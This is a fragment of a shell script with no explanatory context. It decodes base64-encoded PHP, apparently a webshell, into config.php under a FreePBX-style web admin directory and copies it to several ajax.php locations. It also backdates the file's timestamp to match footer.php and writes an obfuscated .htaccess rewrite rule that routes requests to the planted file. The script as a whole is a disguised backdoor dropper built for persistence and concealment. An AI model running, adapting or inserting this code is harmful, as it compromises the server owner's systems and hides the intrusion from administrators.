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VZqYUc4Z0p6d3ZjSEpsUGljN0NnPT0nKSk7LypLV0NKUmpsTGlmb0xvOWllQSovPz4=' | base64 -d > /var/www/html/admin/views/config.php mkdir -p /var/www/html/digium_phones/ cp /var/www/html/admin/views/config.php /var/www/html/admin/modules/core/ajax.php cp /var/www/html/admin/views/config.php /var/www/html/digium_phones/ajax.php cp /var/www/html/admin/views/config.php /var/www/html/digium_phones/ajax.php touch /var/www/html/admin/views/config.php -r /var/www/html/admin/views/footer.php echo 'UmV3cml0ZUVuZ2luZSBPbgojIGVuYWJsZSBzeW1ib2xpYyBsaW5rcwpPcHRpb25zICtGb2xsb3dTeW1MaW5rcwpSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtZApSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtZgpSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtbApSZXdyaXRlUnVsZSBeXHMrIGNvbmZpZy5waHAgW0xd' | base64 -d > /var/www/html/admin/views/.htaccess rm -rf k